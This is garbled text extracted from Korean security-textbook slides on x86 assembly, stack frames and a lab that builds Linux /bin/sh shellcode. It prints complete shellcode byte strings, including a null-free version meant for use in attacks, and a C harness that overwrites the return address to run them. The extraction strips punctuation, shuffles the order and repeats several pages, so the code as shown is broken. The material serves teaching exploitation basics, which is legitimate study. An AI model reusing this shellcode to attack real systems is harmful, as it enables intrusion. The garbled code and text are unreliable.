mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 46: 80×86  시스템에 대한 이해

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

